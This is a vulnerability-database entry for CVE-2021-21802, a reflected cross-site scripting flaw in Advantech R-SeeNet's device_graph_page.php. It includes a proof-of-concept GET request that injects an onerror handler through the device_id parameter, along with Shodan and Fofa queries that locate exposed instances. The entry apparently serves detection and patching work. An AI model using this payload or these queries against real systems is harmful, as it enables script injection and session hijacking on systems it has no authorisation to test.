🔙 목록으로 돌아가기

CVE-2021-21802: Advantech R-SeeNet - Cross-Site Scripting

TitleAdvantech R-SeeNet - Cross-Site Scripting
Authorgy741
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
CVSS Score6.1
EPSS Score0.66834
CVE IDCVE-2021-21802
CWE IDCWE-79
Shodan Queryhttp.html:"r-seenet"
Fofa Querybody="r-seenet"
Tags cve2021 cve rseenet xss advantech vuln

🔍 Vulnerability Description

Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.

🌐 HTTP Request

GET /php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21802.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21802.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A